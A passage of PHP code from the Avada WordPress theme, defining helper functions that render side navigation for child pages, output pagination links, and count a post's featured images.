class="fusion-portfolio-gallery-hidden">' . $video . $featured_images . '</div>'; } } if ( ! function_exists( 'avada_display_sidenav' ) ) { /** * Displays side navigation. * * @param int $post_id The post ID. * @return string */ function avada_display_sidenav( $post_id ) { if ( is_page_template( 'side-navigation.php' ) ) { $html = '<ul class="side-nav">'; $post_ancestors = get_ancestors( $post_id, 'page' ); $post_parent = end( $post_ancestors ); $html .= ( is_page( $post_parent ) ) ? '<li class="current_page_item">' : '<li>'; if ( $post_parent ) { $html .= '<a href="' . get_permalink( $post_parent ) . '" title="' . esc_html__( 'Back to Parent Page', 'Avada' ) . '">' . get_the_title( $post_parent ) . '</a></li>'; $children = wp_list_pages( 'title_li=&child_of=' . $post_parent . '&echo=0' ); } else { $html .= '<a href="' . get_permalink( $post_id ) . '" title="' . esc_html__( 'Back to Parent Page', 'Avada' ) . '">' . get_the_title( $post_id ) . '</a></li>'; $children = wp_list_pages( 'title_li=&child_of=' . $post_id . '&echo=0' ); } if ( $children ) { $html .= $children; } $html .= '</ul>'; return $html; } } } if ( ! function_exists( 'avada_link_pages' ) ) { /** * Pages links. */ function avada_link_pages() { wp_link_pages( array( 'before' => '<div class="page-links"><span class="page-links-title">' . esc_html__( 'Pages:', 'Avada' ) . '</span>', 'after' => '</div>', 'link_before' => '<span class="page-number">', 'link_after' => '</span>', ) ); } } if ( ! function_exists( 'avada_number_of_featured_images' ) ) { /** * Get the number of featured images. * * @return int */ function avada_number_of_featured_images() { global $post; $number_of_images = 0; if ( has_post_thumbnail() && 'yes' != get_post_meta( $post->ID, 'pyre_show_first_featured_image', true ) ) { $number_of_images++; } for ( $i = 2; $i <= Avada()->settings->get( 'posts_slideshow_number' ); $i++ ) { $attachment_new_id = kd_mfi_get_featured_image_id( 'featured-image-' . $i, $post->post_type ); if ( $attachment_new_id ) { $number_of_images++; } } return $number_of_images; } } /* Omit closing PHP tag to avoid "Headers already sent" issues. */